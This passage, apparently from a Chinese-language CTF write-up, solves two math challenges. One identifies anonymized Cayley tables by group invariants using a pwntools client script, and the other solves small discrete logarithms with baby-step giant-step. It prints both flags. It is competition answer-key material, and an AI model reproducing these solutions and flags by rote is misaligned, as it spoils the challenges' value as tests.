enumerate (elems): elem_by_label[idx_by_elem[e]] = e T = [[None ]*n for _ in range (n)] for a in range (n): for b in range (n): prod = elem_by_label[a] * elem_by_label[b] T[a][b] = idx_by_elem[prod] return T def print_table (T ): n = len (T) header = [" " ] + [str (j) for j in range (n)] print (" " .join(h.rjust(3 ) for h in header)) print ("-" * (4 *n)) for i in range (n): row = [str (i)] + [str (T[i][j]) for j in range (n)] print (" " .join(x.rjust(3 ) for x in row)) """ def prompt(msg: str) -> str: sys.stdout.write(msg) sys.stdout.flush() return sys.stdin.readline() """ def main (): random.seed(os.urandom(16 )) print ("Welcome to the Cayley Table Group-ID Quiz!\n" ) print (f"Identify {ROUNDS_NEEDED} groups correctly to get the flag.\n" ) correct = 0 round_no = 0 while correct < ROUNDS_NEEDED: round_no += 1 key, G, aliases = pick_group() T = cayley_table_random_labels(G) print (f"Round {round_no} : The table below is a group of order n={len (T)} ." ) print ("Elements are anonymized as 0..n-1. Multiplication is row * column.\n" ) print_table(T) ans = input ("\nYour answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): " ) if not ans: print ("No input detected. Exiting." ) return norm = normalize_answer(ans) if norm in aliases: correct += 1 print (f"✅ Correct! Progress: {correct} /{ROUNDS_NEEDED} \n" ) else : abelian = all (T[i][j] == T[j][i] for i in range (len (T)) for j in range (len (T))) hint = "abelian" if abelian else "non-abelian" print (f"❌ Incorrect. Hint: the group is {hint} , order {len (T)} . Try the next one!\n" ) print (f"\n🎉 Congrats! Here is your flag: {FLAG} " ) if __name__ == "__main__" : try : main() except KeyboardInterrupt: print ("\nBye!" )
Solution 本挑战是一个基于群论的识别游戏。服务器会提供一个群的凯莱表(乘法表),但群元素的标签(0 到 n-1)是随机打乱的。我们需要在5轮中正确地识别出凯莱表所代表的群,从而获得 flag。服务器从一个预定义的群目录中选择群,且群的阶数不超过10。
解题思路
由于元素的标签是匿名的,我们无法通过直接比较凯莱表来识别群。解决此问题的关键在于利用群的同构不变量 ——这些属性不随元素的重新标记而改变。对于阶数较小的有限群,以下三个不变量的组合足以唯一地识别它们:
群的阶 (Order) :群中元素的数量 n
。这是最基本的不变量,可以直接从凯莱表的维度 n x n
得到。
交换性 (Abelian Property) :群是否是阿贝尔群(即乘法满足交换律)。这可以通过检查凯莱表是否沿主对角线对称来判断(即 T[i][j] == T[j][i]
对所有 i, j
成立)。
元素阶的分布 (Element Order Distribution) :群中所有元素的阶(Order)构成的多重集。一个元素 g
的阶是指最小的正整数 k
使得 g^k
等于单位元 e
。这个分布是识别群同构类型的强大指纹。
解题策略是:
构建指纹库 :离线预计算服务器 CATALOG
中所有可能出现的群(阶小于等于10)的指纹。每个群的指纹由其 (阶, 是否为交换群, 排序后的元素阶列表)
构成。
在线分析 :对于服务器在每一轮发来的凯莱表,我们在线计算其对应的指纹。
匹配与回答 :将在线计算出的指纹与预计算的指纹库进行匹配,找到对应的群的名称,然后发送给服务器。
解题步骤
步骤一:构建指纹库
我们首先需要分析服务器代码中的 CATALOG
列表,找出所有阶数小于等于10的群,并计算它们的指纹。
群名称
阶 (Order)
是否交换 (Abelian)
元素阶分布 (排序后)
指纹
C2
2
True
1, 2
(2, True, (1, 2))
C3
3
True
1, 3, 3
(3, True, (1, 3, 3))
V4
4
True
1, 2, 2, 2
(4, True, (1, 2, 2, 2))
C4
4
True
1, 2, 4, 4
(4, True, (1, 2, 4, 4))
C5
5
True
1, 5, 5, 5, 5
(5, True, (1, 5, 5, 5, 5))
S3
6
False
1, 2, 2, 2, 3, 3
(6, False, (1, 2, 2, 2, 3, 3))
C6
6
True
1, 2, 3, 3, 6, 6
(6, True, (1, 2, 3, 3, 6, 6))
C7
7
True
1, 7, 7, 7, 7, 7, 7
(7, True, (1, 7, 7, 7, 7, 7, 7))
D4
8
False
1, 2, 2, 2, 2, 2, 4, 4
(8, False, (1, 2, 2, 2, 2, 2, 4, 4))
Q8
8
False
1, 2, 4, 4, 4, 4, 4, 4
(8, False, (1, 2, 4, 4, 4, 4, 4, 4))
C8
8
True
1, 2, 4, 4, 8, 8, 8, 8
(8, True, (1, 2, 4, 4, 8, 8, 8, 8))
C9
9
True
1, 3, 3, 9, 9, 9, 9, 9, 9
(9, True, (1, 3, 3, 9, 9, 9, 9, 9, 9))
D5
10
False
1, 2, 2, 2, 2, 2, 5, 5, 5, 5
(10, False, (1, 2, 2, 2, 2, 2, 5, 5, 5, 5))
C10
10
True
1, 2, 5, 5, 5, 5, 10, 10, 10, 10
(10, True, (1, 2, 5, 5, 5, 5, 10, 10, 10, 10))
这些指纹在给定的群列表中是唯一的。我们将这些数据硬编码到一个 Python 字典中,用于快速查找。
步骤二:编写自动化脚本 (Online)
我们使用 pwntools
库来与服务器进行交互。脚本的核心逻辑分为两部分:解析凯莱表和计算其指纹。
解析凯莱表 (parse_table
) :
从服务器的输出中,通过正则表达式 order n=(\d+)
找到群的阶 n
。
定位到表格数据前的 ---
分隔线。
从分隔线后读取 n
行数据。
将每一行字符串解析为数字列表,并去掉行号,最终构建一个 n x n
的整数矩阵。
识别群 (identify_group
) :
计算阶 : n = len(table)
。
判断交换性 : 遍历表格,检查 table[i][j] == table[j][i]
是否对所有 i, j
成立。
寻找单位元 : 遍历所有元素 i
(从0到 n-1
),找到那个满足 table[i][j] == j
(行) 且 table[j][i] == j
(列) 的 i
。这个 i
就是单位元的匿名标签。
计算元素阶分布 :
对于每一个元素 x
(标签为 i
),初始化其阶 order = 1
。
计算 x^2 = table[i][i]
, x^3 = table[table[i][i]][i]
, … 直到结果等于单位元的标签。
迭代的次数就是元素 x
的阶。
收集所有 n
个元素的阶。
生成指纹 : 将 (阶, 交换性, 排序后的元素阶列表)
组合成一个元组。
匹配 : 在预计算的指纹库中查找这个元组,返回对应的群名称。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 from pwn import *import reHOST = ... PORT = ... ROUNDS_NEEDED = 5 FINGERPRINTS = { (2 , True , (1 , 2 )): "C2" , (3 , True , (1 , 3 , 3 )): "C3" , (4 , True , (1 , 2 , 2 , 2 )): "V4" , (4 , True , (1 , 2 , 4 , 4 )): "C4" , (5 , True , (1 , 5 , 5 , 5 , 5 )): "C5" , (6 , True , (1 , 2 , 3 , 3 , 6 , 6 )): "C6" , (6 , False , (1 , 2 , 2 , 2 , 3 , 3 )): "S3" , (7 , True , (1 , 7 , 7 , 7 , 7 , 7 , 7 )): "C7" , (8 , True , (1 , 2 , 4 , 4 , 8 , 8 , 8 , 8 )): "C8" , (8 , False , (1 , 2 , 2 , 2 , 2 , 2 , 4 , 4 )): "D4" , (8 , False , (1 , 2 , 4 , 4 , 4 , 4 , 4 , 4 )): "Q8" , (9 , True , (1 , 3 , 3 , 9 , 9 , 9 , 9 , 9 , 9 )): "C9" , (10 , True , (1 , 2 , 5 , 5 , 5 , 5 , 10 , 10 , 10 , 10 )): "C10" , (10 , False , (1 , 2 , 2 , 2 , 2 , 2 , 5 , 5 , 5 , 5 )): "D5" , } def parse_table (data ): """ 从服务器输出中稳健地解析出凯莱表。 通过先找到阶n,再定位分隔符,然后读取n行来确保表格的完整性。 """ lines = data.decode().splitlines() table = [] n = None for line in lines: match = re.search(r'order n=(\d+)' , line) if match : n = int (match .group(1 )) break if n is None : log.error("Could not find group order 'n=...' in the output." ) return [] try : separator_index = next (i for i, line in enumerate (lines) if '---' in line) except StopIteration: log.error("Could not find table separator '---' in the output." ) return [] table_data_lines = lines[separator_index + 1 : separator_index + 1 + n] if len (table_data_lines) < n: log.error(f"Expected {n} table rows, but only found {len (table_data_lines)} ." ) return [] for i, line in enumerate (table_data_lines): try : parts = [int (p) for p in line.split()] if len (parts) == n + 1 : table.append(parts[1 :]) else : log.error(f"Row {i} is malformed. Expected {n+1 } numbers, got {len (parts)} . Line: '{line} '" ) return [] except ValueError: log.error(f"Could not parse numbers in row {i} . Line: '{line} '" ) return [] return table def identify_group (table ): """根据凯莱表计算指纹并识别群""" n = len (table) if n == 0 : return None is_abelian = all (table[i][j] == table[j][i] for i in range (n) for j in range (n)) identity_label = -1 for i in range (n): is_identity_row = (table[i] == list (range (n))) is_identity_col = all (table[j][i] == j for j in range (n)) if is_identity_row and is_identity_col: identity_label = i break if identity_label == -1 : log.error("Could not find identity element!" ) return None element_orders = [] for i in range (n): order = 1 current = i while current != identity_label: current = table[current][i] order += 1 element_orders.append(order) fingerprint = (n, is_abelian, tuple (sorted (element_orders))) log.info(f"Generated fingerprint: {fingerprint} " ) group_name = FINGERPRINTS.get(fingerprint) return group_name def main (): p = remote(HOST, PORT) p.recvuntil(b"get the flag.\n\n" ) for i in range (ROUNDS_NEEDED): log.info(f"--- Round {i+1 } /{ROUNDS_NEEDED} ---" ) data = p.recvuntil(b"Your answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): " ) table = parse_table(data) if not table: log.error("Failed to parse Cayley table. Exiting." ) p.close() return log.info(f"Parsed table of order {len (table)} " ) group_name = identify_group(table) if group_name: log.success(f"Identified group as: {group_name} " ) p.sendline(group_name.encode()) feedback = p.recvline().decode().strip() log.info(f"Server feedback: {feedback} " ) if "Incorrect" in feedback: log.error("Server reported incorrect answer. Something is wrong with the logic or fingerprints." ) break p.recvline() else : log.error("Could not identify the group." ) p.close() return log.success("All rounds completed! Receiving flag..." ) p.recvuntil(b"flag: " ) flag = p.recvline().decode().strip() log.success(f"FLAG: {flag} " ) p.close() if __name__ == "__main__" : main()
FLAG 1 flag{I_v3_b3c0m3_@n_e^3Rt_in_gr0up_7h30ry_@Ft3r_5o1ving_7hi5_+++bl3m!!!}
DLP_1 Challenge
sagemath中好像有现成的工具?
【难度:简单】
Solution 加密逻辑分析
代码流程 :
脚本将一个长度为 18 字节的 flag
核心内容 (inner
) 分成了 3 个 6 字节长的部分 (parts
)
对于每个部分,脚本执行了以下操作:
将 6 字节的 part
转换为一个大整数 x
(bytes_to_long
)
生成一个 48 位的素数 p
找到 p
的一个原根 g
计算 h = pow(g, x, p)
,即 h ≡ g^x (mod p)
最后输出三组 (p, g, h)
的值
核心问题 : 我们的任务是根据已知的 p
, g
, h
,反向求解出 x
具体来说,我们需要解三个独立的离散对数方程:
5^x₀ ≡ 78860859934701 (mod 189869646048037)
3^x₁ ≡ 89478248978180 (mod 255751809593851)
3^x₂ ≡ 81479747246082 (mod 216690843046819)
解决方法 : 离散对数问题在通用情况下是困难的,但当模数 p
相对较小时我们可以使用一些算法来解决它:
模数 p
是 48 位的,这意味着 p
的大小约在 2^47
到 2^48
之间
对于这个规模的数字,BSGS 算法是一个非常有效的解决方法,该算法的时间复杂度和空间复杂度都是 O(sqrt(p))
大步小步算法 (BSGS) 简介
我们要解 g^x ≡ h (mod p)
:
令 m = ceil(sqrt(p-1))
,其中 ceil
是向上取整
我们可以把 x
表示为 x = i*m - j
,其中 0 <= i,j < m
方程变为 g^(i*m - j) ≡ h (mod p)
整理得 (g^m)^i ≡ h * g^j (mod p)
小步 (Baby Steps) :我们计算右边的 h * g^j
对于所有 j
(0 <= j < m
) 的值,并将结果 { (h * g^j mod p) : j }
存入一个哈希表中
大步 (Giant Steps) :我们计算左边的 (g^m)^i
对于所有 i
(1 <= i <= m
) 的值,并在哈希表中查找
一旦找到匹配项,即 (g^m)^i
的值在哈希表中,我们就找到了对应的 i
和 j
最终解 x = i*m - j
注意:x
也可以表示为 x = i*m + j
,这样方程变为 g^j ≡ h * (g^-m)^i (mod p)
。两种形式都可以,实现上略有不同但原理一致。第二种形式更常见,因为它避免了在“大步”中计算 h
的逆。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from Crypto.Util.number import long_to_bytesfrom math import isqrtdef bsgs (g, h, p ): N = p - 1 m = isqrt(N) + 1 baby_steps = {} val = 1 for j in range (m): if val not in baby_steps: baby_steps[val] = j val = (val * g) % p g_inv_m = pow (g, -m, p) giant_step_val = h for i in range (m): if giant_step_val in baby_steps: j = baby_steps[giant_step_val] return i * m + j giant_step_val = (giant_step_val * g_inv_m) % p return None p_list = [189869646048037 , 255751809593851 , 216690843046819 ] g_list = [5 , 3 , 3 ] h_list = [78860859934701 , 89478248978180 , 81479747246082 ] inner_parts = [] for i in range (3 ): p = p_list[i] g = g_list[i] h = h_list[i] print (f"[*] Solving for part {i} : g^{{x}} ≡ h (mod p)" ) print (f" g = {g} , h = {h} , p = {p} " ) x = bsgs(g, h, p) print (f" Found x = {x} " ) part_bytes = long_to_bytes(x, 6 ) print (f" Converted to bytes: {part_bytes} " ) inner_parts.append(part_bytes) print ("-" * 20 ) inner_flag = b'' .join(inner_parts) flag = b'flag{' + inner_flag + b'}' print (flag.decode())
FLAG 1 flag{I_l0v3_DLPPPPP^.^!}